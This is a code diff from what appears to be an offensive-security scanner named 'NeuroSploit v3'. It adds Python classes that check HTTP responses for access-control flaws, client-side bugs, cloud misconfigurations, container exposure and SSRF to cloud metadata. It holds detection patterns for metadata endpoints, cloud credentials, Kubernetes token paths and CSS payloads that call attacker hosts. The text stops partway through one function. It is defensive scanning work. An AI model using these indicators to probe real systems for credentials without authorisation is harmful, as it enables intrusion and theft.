||||
|
||||
@@ -128,3 +128,166 @@ class PrivilegeEscalationTester(BaseTester):
|
||||
return True, 0.7, f"Privilege escalation: Admin functionality '{func}' accessible"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class BflaTester(BaseTester):
|
||||
"""Tester for Broken Function Level Authorization (BFLA)"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "bfla"
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for admin functionality accessible to regular user"""
|
||||
if response_status == 200:
|
||||
# Admin-specific data patterns
|
||||
admin_data_patterns = [
|
||||
r'"users"\s*:\s*\[',
|
||||
r'"all_users"\s*:',
|
||||
r'"admin_settings"\s*:',
|
||||
r'"system_config"\s*:',
|
||||
r'"audit_log"\s*:',
|
||||
r'"role"\s*:\s*"admin"',
|
||||
r'"permissions"\s*:\s*\[',
|
||||
r'"api_keys"\s*:\s*\[',
|
||||
]
|
||||
|
||||
for pattern in admin_data_patterns:
|
||||
if re.search(pattern, response_body, re.IGNORECASE):
|
||||
# Check if this was an admin endpoint accessed as regular user
|
||||
admin_url_indicators = [
|
||||
"/admin", "/manage", "/users", "/settings",
|
||||
"/config", "/system", "/audit", "/logs",
|
||||
]
|
||||
if any(ind in payload.lower() for ind in admin_url_indicators):
|
||||
return True, 0.85, f"BFLA: Admin data returned for non-admin request"
|
||||
|
||||
# Admin page content
|
||||
admin_content = [
|
||||
"user management", "system configuration", "admin dashboard",
|
||||
"manage users", "all accounts", "server status",
|
||||
"delete user", "create admin",
|
||||
]
|
||||
body_lower = response_body.lower()
|
||||
for content in admin_content:
|
||||
if content in body_lower:
|
||||
return True, 0.8, f"BFLA: Admin functionality '{content}' accessible to regular user"
|
||||
|
||||
# Admin endpoint should return 403 for non-admin
|
||||
if response_status not in [401, 403] and context.get("is_admin_endpoint"):
|
||||
if response_status == 200:
|
||||
return True, 0.7, "BFLA: Admin endpoint returned 200 instead of 403"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class MassAssignmentTester(BaseTester):
|
||||
"""Tester for Mass Assignment vulnerability"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "mass_assignment"
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for extra parameters being accepted and modifying model state"""
|
||||
if response_status in [200, 201]:
|
||||
# Check if privileged fields were accepted
|
||||
privileged_fields = [
|
||||
(r'"(?:is_)?admin"\s*:\s*true', "admin flag"),
|
||||
(r'"role"\s*:\s*"admin"', "admin role"),
|
||||
(r'"role"\s*:\s*"superuser"', "superuser role"),
|
||||
(r'"verified"\s*:\s*true', "verified status"),
|
||||
(r'"is_staff"\s*:\s*true', "staff flag"),
|
||||
(r'"is_superuser"\s*:\s*true', "superuser flag"),
|
||||
(r'"balance"\s*:\s*\d{4,}', "balance modification"),
|
||||
(r'"credits"\s*:\s*\d{3,}', "credits modification"),
|
||||
(r'"discount"\s*:\s*\d+', "discount field"),
|
||||
(r'"price"\s*:\s*0', "price zeroed"),
|
||||
]
|
||||
|
||||
# Check if payload attempted mass assignment
|
||||
mass_assign_indicators = [
|
||||
"admin", "role", "is_staff", "is_superuser",
|
||||
"verified", "balance", "credits", "price", "discount",
|
||||
]
|
||||
payload_has_mass_assign = any(ind in payload.lower() for ind in mass_assign_indicators)
|
||||
|
||||
if payload_has_mass_assign:
|
||||
for pattern, field_name in privileged_fields:
|
||||
if re.search(pattern, response_body, re.IGNORECASE):
|
||||
return True, 0.85, f"Mass assignment: Privileged field '{field_name}' accepted and reflected"
|
||||
|
||||
# Check if response changed compared to baseline
|
||||
if context.get("baseline_body"):
|
||||
baseline = context["baseline_body"]
|
||||
if response_body != baseline and len(response_body) > len(baseline):
|
||||
return True, 0.6, "Mass assignment: Response differs from baseline after extra parameters"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class ForcedBrowsingTester(BaseTester):
|
||||
"""Tester for Forced Browsing (direct access to restricted URLs)"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "forced_browsing"
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for direct access to restricted URLs without proper authorization"""
|
||||
# Should get 401/403/302 for restricted content, not 200
|
||||
if response_status == 200:
|
||||
# Sensitive content indicators
|
||||
sensitive_patterns = [
|
||||
(r"(?:admin|management)\s+(?:panel|dashboard|console)", "admin panel"),
|
||||
(r'"(?:password|secret|api_key|token)"\s*:\s*"[^"]+"', "sensitive data"),
|
||||
(r"(?:backup|dump|export)\s+(?:file|data|database)", "backup files"),
|
||||
(r"phpinfo\(\)", "PHP info page"),
|
||||
(r"(?:configuration|config)\s+(?:file|settings)", "configuration page"),
|
||||
(r"(?:internal|private)\s+(?:api|endpoint|documentation)", "internal docs"),
|
||||
(r"(?:debug|diagnostic)\s+(?:info|page|console)", "debug page"),
|
||||
(r"(?:user|customer)\s+(?:list|database|records)", "user records"),
|
||||
]
|
||||
|
||||
for pattern, desc in sensitive_patterns:
|
||||
if re.search(pattern, response_body, re.IGNORECASE):
|
||||
return True, 0.8, f"Forced browsing: Restricted content accessible - {desc}"
|
||||
|
||||
# Check for restricted URL patterns in payload
|
||||
restricted_paths = [
|
||||
"/admin", "/backup", "/config", "/internal",
|
||||
"/debug", "/private", "/management", "/phpinfo",
|
||||
"/.git", "/.env", "/wp-admin", "/server-status",
|
||||
]
|
||||
if any(path in payload.lower() for path in restricted_paths):
|
||||
if len(response_body) > 200:
|
||||
return True, 0.7, "Forced browsing: Restricted URL returned content (200 OK)"
|
||||
|
||||
# Check that redirect isn't to the same restricted page (false positive)
|
||||
if response_status in [301, 302]:
|
||||
location = response_headers.get("Location", "").lower()
|
||||
if "login" in location or "signin" in location or "auth" in location:
|
||||
return False, 0.0, None # Properly redirecting to login
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
@@ -148,3 +148,283 @@ class OpenRedirectTester(BaseTester):
|
||||
return True, 0.7, "Open redirect via JavaScript"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class DomClobberingTester(BaseTester):
|
||||
"""Tester for DOM Clobbering vulnerability"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "dom_clobbering"
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for HTML injection that could override JS variables via DOM clobbering"""
|
||||
if response_status == 200:
|
||||
# Check if injected HTML with id/name attributes is reflected
|
||||
clobber_patterns = [
|
||||
r'<(?:a|form|img|input|iframe|embed|object)\s+[^>]*(?:id|name)\s*=\s*["\']?(?:' + re.escape(payload.split("=")[0] if "=" in payload else payload) + r')',
|
||||
r'<a\s+[^>]*id=["\'][^"\']+["\'][^>]*href=["\']',
|
||||
r'<form\s+[^>]*name=["\'][^"\']+["\']',
|
||||
]
|
||||
for pattern in clobber_patterns:
|
||||
if re.search(pattern, response_body, re.IGNORECASE):
|
||||
return True, 0.8, "DOM Clobbering: Injected HTML with id/name attribute reflected"
|
||||
|
||||
# Check for common clobberable global variables
|
||||
clobber_targets = [
|
||||
r'<[^>]+id=["\'](?:location|document|window|self|top|frames|opener|parent)["\']',
|
||||
r'<[^>]+name=["\'](?:location|document|window|self|top|frames|opener|parent)["\']',
|
||||
]
|
||||
for pattern in clobber_targets:
|
||||
if re.search(pattern, response_body, re.IGNORECASE):
|
||||
return True, 0.85, "DOM Clobbering: HTML element with JS global variable name injected"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class PostMessageVulnTester(BaseTester):
|
||||
"""Tester for postMessage vulnerability (missing origin check)"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "postmessage_vuln"
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for addEventListener('message') without origin validation"""
|
||||
if response_status == 200:
|
||||
# Find message event listeners
|
||||
message_listener = re.search(
|
||||
r'addEventListener\s*\(\s*["\']message["\']',
|
||||
response_body
|
||||
)
|
||||
if message_listener:
|
||||
# Check if origin is NOT validated nearby
|
||||
# Get surrounding context (500 chars after listener)
|
||||
listener_pos = message_listener.start()
|
||||
handler_block = response_body[listener_pos:listener_pos + 500]
|
||||
|
||||
origin_checks = [
|
||||
r'\.origin\s*[!=]==?\s*["\']',
|
||||
r'event\.origin',
|
||||
r'e\.origin',
|
||||
r'msg\.origin',
|
||||
r'origin\s*===',
|
||||
]
|
||||
has_origin_check = any(re.search(p, handler_block) for p in origin_checks)
|
||||
|
||||
if not has_origin_check:
|
||||
return True, 0.85, "postMessage vulnerability: Message listener without origin validation"
|
||||
else:
|
||||
# Origin check exists but might be weak
|
||||
if re.search(r'\.origin\s*[!=]==?\s*["\']["\']', handler_block):
|
||||
return True, 0.7, "postMessage vulnerability: Origin check appears to be empty string"
|
||||
|
||||
# Check for postMessage with wildcard origin
|
||||
wildcard_post = re.search(
|
||||
r'\.postMessage\s*\([^)]+,\s*["\']\*["\']',
|
||||
response_body
|
||||
)
|
||||
if wildcard_post:
|
||||
return True, 0.75, "postMessage vulnerability: postMessage with wildcard '*' target origin"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class WebsocketHijackTester(BaseTester):
|
||||
"""Tester for WebSocket Cross-Origin Hijacking"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "websocket_hijack"
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for WebSocket connections accepting cross-origin requests"""
|
||||
# WebSocket upgrade accepted (101 Switching Protocols)
|
||||
if response_status == 101:
|
||||
# Check if Origin header was sent and accepted
|
||||
upgrade = response_headers.get("Upgrade", "").lower()
|
||||
if upgrade == "websocket":
|
||||
return True, 0.8, "WebSocket hijack: Cross-origin WebSocket upgrade accepted"
|
||||
|
||||
# Check for WebSocket endpoint in response without origin validation
|
||||
if response_status == 200:
|
||||
ws_patterns = [
|
||||
r'new\s+WebSocket\s*\(\s*["\']wss?://',
|
||||
r'ws://[^"\'>\s]+',
|
||||
r'wss://[^"\'>\s]+',
|
||||
]
|
||||
for pattern in ws_patterns:
|
||||
if re.search(pattern, response_body):
|
||||
# Check for lack of CORS-like origin checking
|
||||
if "origin" not in response_body.lower() or context.get("cross_origin_accepted"):
|
||||
return True, 0.7, "WebSocket hijack: WebSocket endpoint found without apparent origin validation"
|
||||
|
||||
# 403 on WebSocket with wrong origin is good (not vulnerable)
|
||||
if response_status == 403:
|
||||
return False, 0.0, None
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class PrototypePollutionTester(BaseTester):
|
||||
"""Tester for JavaScript Prototype Pollution"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "prototype_pollution"
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for __proto__ pollution indicators"""
|
||||
if response_status == 200:
|
||||
# Check if __proto__ payload was processed
|
||||
proto_indicators = [
|
||||
r'__proto__',
|
||||
r'constructor\.prototype',
|
||||
r'Object\.prototype',
|
||||
]
|
||||
|
||||
# Payload should contain proto pollution attempt
|
||||
is_proto_payload = any(
|
||||
ind in payload for ind in ["__proto__", "constructor", "prototype"]
|
||||
)
|
||||
|
||||
if is_proto_payload:
|
||||
# Check for pollution effect in response
|
||||
pollution_effects = [
|
||||
r'"__proto__"\s*:\s*\{',
|
||||
r'"polluted"\s*:\s*true',
|
||||
r'"isAdmin"\s*:\s*true',
|
||||
r'"__proto__":\s*\{[^}]*\}',
|
||||
]
|
||||
for pattern in pollution_effects:
|
||||
if re.search(pattern, response_body, re.IGNORECASE):
|
||||
return True, 0.85, "Prototype pollution: __proto__ property accepted and reflected"
|
||||
|
||||
# Check if server processed the prototype chain modification
|
||||
if response_status == 200 and "__proto__" in response_body:
|
||||
return True, 0.7, "Prototype pollution: __proto__ present in server response"
|
||||
|
||||
# Check for error indicating proto processing
|
||||
if re.search(r"(?:cannot|unable to).*(?:merge|assign|extend).*proto", response_body, re.IGNORECASE):
|
||||
return True, 0.6, "Prototype pollution: Server attempted to process __proto__"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class CssInjectionTester(BaseTester):
|
||||
"""Tester for CSS Injection vulnerability"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "css_injection"
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for CSS code rendered in style context"""
|
||||
if response_status == 200:
|
||||
# Check if CSS payload is reflected in style context
|
||||
css_contexts = [
|
||||
# Inside <style> tags
|
||||
r'<style[^>]*>(?:[^<]*?)' + re.escape(payload)[:30].replace("\\", "\\\\"),
|
||||
# Inside style attribute
|
||||
r'style\s*=\s*["\'][^"\']*' + re.escape(payload)[:30].replace("\\", "\\\\"),
|
||||
]
|
||||
|
||||
for pattern in css_contexts:
|
||||
try:
|
||||
if re.search(pattern, response_body, re.IGNORECASE | re.DOTALL):
|
||||
return True, 0.85, "CSS injection: Payload reflected in style context"
|
||||
except re.error:
|
||||
continue
|
||||
|
||||
# Check for common CSS injection payloads reflected
|
||||
css_attack_patterns = [
|
||||
r'expression\s*\(',
|
||||
r'url\s*\(\s*["\']?javascript:',
|
||||
r'@import\s+["\']?https?://',
|
||||
r'background:\s*url\s*\(\s*["\']?https?://[^"\')\s]*attacker',
|
||||
r'behavior:\s*url\s*\(',
|
||||
r'-moz-binding:\s*url\s*\(',
|
||||
]
|
||||
for pattern in css_attack_patterns:
|
||||
if re.search(pattern, response_body, re.IGNORECASE):
|
||||
return True, 0.8, "CSS injection: Dangerous CSS property reflected"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class TabnabbingTester(BaseTester):
|
||||
"""Tester for Reverse Tabnabbing vulnerability"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "tabnabbing"
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for target=_blank links without rel=noopener"""
|
||||
if response_status == 200:
|
||||
# Find all target=_blank links
|
||||
blank_links = re.finditer(
|
||||
r'<a\s+[^>]*target\s*=\s*["\']_blank["\'][^>]*>',
|
||||
response_body,
|
||||
re.IGNORECASE
|
||||
)
|
||||
|
||||
vulnerable_count = 0
|
||||
for match in blank_links:
|
||||
link_tag = match.group(0)
|
||||
# Check for rel=noopener or rel=noreferrer
|
||||
has_protection = re.search(
|
||||
r'rel\s*=\s*["\'][^"\']*(?:noopener|noreferrer)[^"\']*["\']',
|
||||
link_tag,
|
||||
re.IGNORECASE
|
||||
)
|
||||
if not has_protection:
|
||||
vulnerable_count += 1
|
||||
|
||||
if vulnerable_count > 0:
|
||||
confidence = min(0.5 + vulnerable_count * 0.1, 0.8)
|
||||
return True, confidence, f"Tabnabbing: {vulnerable_count} target=_blank link(s) without rel=noopener/noreferrer"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
@@ -0,0 +1,405 @@
|
||||
"""
|
||||
NeuroSploit v3 - Cloud & Supply Chain Vulnerability Testers
|
||||
|
||||
Testers for S3 misconfiguration, cloud metadata, subdomain takeover,
|
||||
vulnerable dependencies, container escape, and serverless misconfiguration.
|
||||
"""
|
||||
import re
|
||||
from typing import Tuple, Dict, Optional
|
||||
from backend.core.vuln_engine.testers.base_tester import BaseTester
|
||||
|
||||
|
||||
class S3BucketMisconfigTester(BaseTester):
|
||||
"""Tester for S3 Bucket Misconfiguration vulnerabilities"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "s3_bucket_misconfig"
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for S3 bucket listing or misconfiguration"""
|
||||
# Bucket listing XML response
|
||||
if re.search(r"<ListBucketResult\s", response_body):
|
||||
return True, 0.95, "S3 bucket listing enabled - bucket contents exposed"
|
||||
|
||||
# Bucket listing with objects
|
||||
if "<Contents>" in response_body and "<Key>" in response_body:
|
||||
keys = re.findall(r"<Key>([^<]+)</Key>", response_body)
|
||||
if keys:
|
||||
return True, 0.95, f"S3 bucket listing: {len(keys)} objects exposed (e.g., {keys[0][:50]})"
|
||||
|
||||
# NoSuchBucket - potential subdomain takeover
|
||||
if "NoSuchBucket" in response_body:
|
||||
bucket_match = re.search(r"<BucketName>([^<]+)</BucketName>", response_body)
|
||||
bucket_name = bucket_match.group(1) if bucket_match else "unknown"
|
||||
return True, 0.8, f"S3 bucket '{bucket_name}' does not exist - potential takeover"
|
||||
|
||||
# AccessDenied with bucket info
|
||||
if "AccessDenied" in response_body and "s3.amazonaws.com" in response_body:
|
||||
return True, 0.5, "S3 bucket exists but access denied - bucket enumerated"
|
||||
|
||||
# Public write/upload success
|
||||
if response_status in [200, 204] and context.get("is_upload_test"):
|
||||
headers_lower = {k.lower(): v for k, v in response_headers.items()}
|
||||
if "x-amz-request-id" in headers_lower:
|
||||
return True, 0.9, "S3 bucket allows public write access"
|
||||
|
||||
# Bucket policy exposed
|
||||
if '"Statement"' in response_body and '"Effect"' in response_body:
|
||||
if '"s3:' in response_body:
|
||||
return True, 0.85, "S3 bucket policy exposed"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class CloudMetadataExposureTester(BaseTester):
|
||||
"""Tester for Cloud Metadata Exposure vulnerabilities (SSRF to metadata)"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "cloud_metadata_exposure"
|
||||
self.metadata_indicators = {
|
||||
# AWS
|
||||
"aws": [
|
||||
(r"ami-[0-9a-f]{8,17}", "AWS AMI ID"),
|
||||
(r"i-[0-9a-f]{8,17}", "AWS Instance ID"),
|
||||
(r"arn:aws:[a-z0-9-]+:[a-z0-9-]*:\d{12}:", "AWS ARN"),
|
||||
(r"AKIA[0-9A-Z]{16}", "AWS Access Key"),
|
||||
(r"169\.254\.169\.254", "AWS metadata endpoint"),
|
||||
(r"\"(?:AccessKeyId|SecretAccessKey|Token)\"", "AWS IAM credentials"),
|
||||
(r"ec2\.internal", "AWS internal hostname"),
|
||||
(r"\"accountId\"\s*:\s*\"\d{12}\"", "AWS Account ID"),
|
||||
],
|
||||
# GCP
|
||||
"gcp": [
|
||||
(r"projects/\d+/", "GCP Project reference"),
|
||||
(r"metadata\.google\.internal", "GCP metadata endpoint"),
|
||||
(r"\"access_token\"\s*:\s*\"ya29\.", "GCP OAuth token"),
|
||||
(r"compute\.googleapis\.com", "GCP Compute API"),
|
||||
(r"serviceAccounts/[^/]+/token", "GCP service account token"),
|
||||
],
|
||||
# Azure
|
||||
"azure": [
|
||||
(r"metadata\.azure\.com", "Azure metadata endpoint"),
|
||||
(r"(?:subscriptionId|resourceGroupName)\"\s*:\s*\"", "Azure resource info"),
|
||||
(r"\.blob\.core\.windows\.net", "Azure Blob Storage"),
|
||||
(r"\.vault\.azure\.net", "Azure Key Vault"),
|
||||
(r"\"access_token\"\s*:\s*\"eyJ", "Azure JWT token"),
|
||||
],
|
||||
}
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for cloud metadata in response"""
|
||||
findings = []
|
||||
|
||||
for provider, patterns in self.metadata_indicators.items():
|
||||
for pattern, description in patterns:
|
||||
if re.search(pattern, response_body):
|
||||
findings.append(f"{provider.upper()}: {description}")
|
||||
|
||||
if findings:
|
||||
# IAM credentials or tokens are critical
|
||||
critical = any(k in f for f in findings for k in ["credentials", "Access Key", "token", "Token"])
|
||||
confidence = 0.95 if critical else 0.8
|
||||
return True, confidence, f"Cloud metadata exposure: {', '.join(findings[:3])}"
|
||||
|
||||
# Check for metadata endpoint access (SSRF to cloud metadata)
|
||||
metadata_urls = ["169.254.169.254", "metadata.google.internal",
|
||||
"metadata.azure.com", "100.100.100.200"]
|
||||
for url in metadata_urls:
|
||||
if url in payload and response_status == 200 and len(response_body) > 50:
|
||||
return True, 0.85, f"Cloud metadata accessible via SSRF ({url})"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class SubdomainTakeoverTester(BaseTester):
|
||||
"""Tester for Subdomain Takeover vulnerabilities"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "subdomain_takeover"
|
||||
self.takeover_fingerprints = [
|
||||
# AWS S3
|
||||
(r"NoSuchBucket", "S3 bucket - NoSuchBucket"),
|
||||
(r"The specified bucket does not exist", "S3 bucket does not exist"),
|
||||
# GitHub Pages
|
||||
(r"There isn't a GitHub Pages site here", "GitHub Pages - unclaimed"),
|
||||
(r"For root URLs.*GitHub Pages", "GitHub Pages not configured"),
|
||||
# Heroku
|
||||
(r"No such app", "Heroku - app not found"),
|
||||
(r"herokucdn\.com/error-pages/no-such-app", "Heroku - no such app"),
|
||||
# Shopify
|
||||
(r"Sorry, this shop is currently unavailable", "Shopify - shop unavailable"),
|
||||
# Tumblr
|
||||
(r"There's nothing here\.", "Tumblr - unclaimed"),
|
||||
(r"Whatever you were looking for doesn't currently exist", "Tumblr not found"),
|
||||
# WordPress.com
|
||||
(r"Do you want to register.*wordpress\.com", "WordPress.com - unclaimed"),
|
||||
# Azure
|
||||
(r"404 Web Site not found", "Azure - web app not found"),
|
||||
# Fastly
|
||||
(r"Fastly error: unknown domain", "Fastly - unknown domain"),
|
||||
# Pantheon
|
||||
(r"404 error unknown site", "Pantheon - unknown site"),
|
||||
# Zendesk
|
||||
(r"Help Center Closed", "Zendesk - closed"),
|
||||
# Unbounce
|
||||
(r"The requested URL was not found on this server.*unbounce", "Unbounce - not found"),
|
||||
# Surge.sh
|
||||
(r"project not found", "Surge.sh - not found"),
|
||||
# Fly.io
|
||||
(r"404.*fly\.io", "Fly.io - not found"),
|
||||
]
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for cloud provider error pages indicating takeover opportunity"""
|
||||
for pattern, description in self.takeover_fingerprints:
|
||||
if re.search(pattern, response_body, re.IGNORECASE):
|
||||
return True, 0.9, f"Subdomain takeover: {description}"
|
||||
|
||||
# CNAME pointing to unclaimed resource
|
||||
if context.get("cname_target"):
|
||||
cname = context["cname_target"]
|
||||
unclaimed_domains = [
|
||||
".s3.amazonaws.com", ".herokuapp.com", ".github.io",
|
||||
".azurewebsites.net", ".cloudfront.net", ".fastly.net",
|
||||
".ghost.io", ".myshopify.com", ".surge.sh",
|
||||
]
|
||||
for domain in unclaimed_domains:
|
||||
if cname.endswith(domain) and response_status in [404, 0]:
|
||||
return True, 0.85, f"Subdomain takeover: CNAME to {cname} returns {response_status}"
|
||||
|
||||
# NXDOMAIN with CNAME
|
||||
if context.get("dns_nxdomain") and context.get("has_cname"):
|
||||
return True, 0.8, "Subdomain takeover: CNAME exists but target domain is NXDOMAIN"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class VulnerableDependencyTester(BaseTester):
|
||||
"""Tester for Vulnerable Dependency detection"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "vulnerable_dependency"
|
||||
self.vulnerable_libs = [
|
||||
# JavaScript
|
||||
(r"jquery[/.-](?:1\.\d+|2\.\d+|3\.[0-4]\.\d+)", "jQuery < 3.5.0 (XSS)"),
|
||||
(r"angular[/.-]1\.[0-5]\.\d+", "AngularJS < 1.6 (sandbox escape)"),
|
||||
(r"lodash[/.-](?:[0-3]\.\d+|4\.(?:1[0-6]|[0-9])\.\d+)", "Lodash < 4.17.21 (prototype pollution)"),
|
||||
(r"bootstrap[/.-](?:[1-3]\.\d+|4\.[0-3]\.\d+)", "Bootstrap < 4.3.1 (XSS)"),
|
||||
(r"moment[/.-](?:[01]\.\d+|2\.(?:[0-9]|1[0-8])\.\d+)", "Moment.js < 2.19.3 (ReDoS)"),
|
||||
(r"handlebars[/.-](?:[0-3]\.\d+|4\.[0-6]\.\d+)", "Handlebars < 4.7.7 (prototype pollution)"),
|
||||
# Python
|
||||
(r"Django[/=](?:1\.\d+|2\.[01]\.\d+|3\.0\.\d+)", "Django < 3.1 (multiple CVEs)"),
|
||||
(r"Flask[/=](?:0\.\d+|1\.[01]\.\d+)", "Flask < 2.0 (known issues)"),
|
||||
(r"requests[/=]2\.(?:[0-9]|1\d|2[0-4])\.\d+", "Requests < 2.25 (CVE-2023-32681)"),
|
||||
# Java
|
||||
(r"log4j[/-]2\.(?:[0-9]|1[0-4])\.\d+", "Log4j < 2.15 (Log4Shell CVE-2021-44228)"),
|
||||
(r"spring-core[/-](?:[1-4]\.\d+|5\.[0-2]\.\d+)", "Spring < 5.3 (Spring4Shell)"),
|
||||
(r"jackson-databind[/-]2\.(?:[0-8]|9\.[0-9])\.\d*", "Jackson < 2.9.10 (deserialization)"),
|
||||
# PHP
|
||||
(r"laravel/framework[/:]\s*v?(?:[1-7]\.\d+|8\.[0-7]\d)", "Laravel < 8.80 (known issues)"),
|
||||
]
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for known vulnerable library version strings"""
|
||||
findings = []
|
||||
|
||||
# Check response body (JS files, package.json, error pages)
|
||||
for pattern, description in self.vulnerable_libs:
|
||||
match = re.search(pattern, response_body, re.IGNORECASE)
|
||||
if match:
|
||||
findings.append(f"{match.group(0)} - {description}")
|
||||
|
||||
# Check headers for version info
|
||||
headers_str = "\n".join(f"{k}: {v}" for k, v in response_headers.items())
|
||||
for pattern, description in self.vulnerable_libs:
|
||||
match = re.search(pattern, headers_str, re.IGNORECASE)
|
||||
if match and description not in str(findings):
|
||||
findings.append(f"{match.group(0)} - {description}")
|
||||
|
||||
if findings:
|
||||
# Log4Shell and Spring4Shell are critical
|
||||
critical = any(k in f for f in findings for k in ["Log4Shell", "Spring4Shell", "deserialization"])
|
||||
confidence = 0.9 if critical else 0.75
|
||||
return True, confidence, f"Vulnerable dependency: {'; '.join(findings[:3])}"
|
||||
|
||||
return False, 0.0, None
|
||||
|
||||
|
||||
class ContainerEscapeTester(BaseTester):
|
||||
"""Tester for Container Escape / Container Misconfiguration vulnerabilities"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self.name = "container_escape"
|
||||
self.container_indicators = [
|
||||
# Docker
|
||||
(r"\.dockerenv", "Docker environment file accessible"),
|
||||
(r"docker\.sock", "Docker socket exposed"),
|
||||
(r"/var/run/docker\.sock", "Docker socket path"),
|
||||
# Cgroup
|
||||
(r"docker[/-][0-9a-f]{12,64}", "Docker container cgroup"),
|
||||
(r"/proc/self/cgroup.*docker", "Docker cgroup detected"),
|
||||
(r"/proc/self/cgroup.*kubepods", "Kubernetes pod cgroup"),
|
||||
# Kubernetes
|
||||
(r"KUBERNETES_SERVICE_HOST", "Kubernetes service host env"),
|
||||
(r"KUBERNETES_PORT", "Kubernetes port env"),
|
||||
(r"/var/run/secrets/kubernetes\.io", "Kubernetes secrets path"),
|
||||
(r"serviceaccount/token", "Kubernetes service account token"),
|
||||
(r"kube-system", "Kubernetes system namespace"),
|
||||
# Container runtime
|
||||
(r"containerd", "containerd runtime"),
|
||||
(r"runc", "runc runtime"),
|
||||
# Process namespace
|
||||
(r"process\s+1\b.*(?:init|systemd|tini|dumb-init)", "Container init process"),
|
||||
]
|
||||
|
||||
def analyze_response(
|
||||
self,
|
||||
payload: str,
|
||||
response_status: int,
|
||||
response_headers: Dict,
|
||||
response_body: str,
|
||||
context: Dict
|
||||
) -> Tuple[bool, float, Optional[str]]:
|
||||
"""Check for Docker/container indicators in response"""
|
||||
findings = []
|
||||
|
||||
for pattern, description in self.container_indicators:
|
||||
if re.search(pattern, response_body, re.IGNORECASE):
|
||||
findings.append(description)
|
||||
|
||||
if findings:
|
